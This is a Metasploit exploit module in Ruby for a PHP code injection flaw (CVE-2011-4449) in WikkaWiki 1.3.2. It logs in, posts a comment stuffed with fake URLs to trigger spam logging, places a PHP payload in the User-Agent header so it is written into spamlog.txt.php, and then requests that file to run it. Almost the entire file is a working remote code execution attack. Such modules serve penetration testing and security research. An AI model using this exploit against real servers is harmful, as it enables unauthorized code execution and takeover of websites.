## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={}) super(update_info(info, 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", 'Description' => %q{ This module exploits a vulnerability found in WikkaWiki. When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header , and then request it to execute our payload. There are at least three different ways to trigger spam protection, this module does so by generating 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
Please note that in order to use the injection, you must manually pick a page first that allows you to add a comment, and then set it as 'PAGE'. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', #Initial discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4449'], ['OSVDB', '77391'], ['EDB', '18177'], ['URL', 'http://wush.net/trac/wikka/ticket/1098'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], 'Targets' => [ ['WikkaWiki 1.3.2 r1814', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2011", 'DefaultTarget' => 0))
register_options( [ OptString.new('USERNAME', [true, 'WikkaWiki username']), OptString.new('PASSWORD', [true, 'WikkaWiki password']), OptString.new('PAGE', [true, 'Page to inject']), OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) ], self.class) end
def check res = send_request_raw({ 'method' => 'GET', 'uri' => "#{target_uri.path}wikka.php?wakka=HomePage" })
if res and res.body =~ /Powered by WikkaWiki/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end
# # Get the cookie before we do any of that login/exploity stuff # def get_cookie res = send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}wikka.php" })
# Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka if res and res.headers['Set-Cookie'] cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] else raise RuntimeError, "#{@peer} - No cookie found, will not continue" end
cookie end
# # Do login, and then return the cookie that contains our credential # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login uri = "#{@base}wikka.php?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, 'cookie' => cookie })
# Extract the hidden fields login = {} if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/) fields.each do |name, value| login[name] = value end else raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" end
# Add the rest of fields required for login login['action'] = 'login' login['name'] = datastore['USERNAME'] login['password'] = datastore['PASSWORD'] login['do_redirect'] = 'on' login['submit'] = "Login" login['confpassword'] = '' login['email'] = ''
port = (rport.to_i == 80) ? "" : ":#{rport}" res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, 'vars_post' => login })
if res and res.headers['Set-Cookie'] =~ /user_name/ user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" end
return cookie_cred end
# # After login, we inject the PHP payload # def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie })
fields = {} if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v| fields[n] = v end else raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" end
# Generate enough URLs to trigger spam logging urls = '' 10.times do |i| urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" end
# Add more fields fields['body'] = urls fields['submit'] = 'Add'
# Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" post_data = "" send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, 'agent' => "<?php #{payload.encoded} ?>" })
send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}spamlog.txt.php" }) end
def exploit @peer = "#{rhost}:#{rport}"
@base = target_uri.path @base << '/' if @base[-1, 1] != '/'
print_status("#{@peer} - Getting cookie") cookie = get_cookie
print_status("#{@peer} - Logging in") cred = login(cookie)
print_status("#{@peer} - Triggering spam logging") inject_exec(cred)
handler end end
=begin For testing: svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
Open wikka.config.php, do: 'spam_logging' => '1' =end
|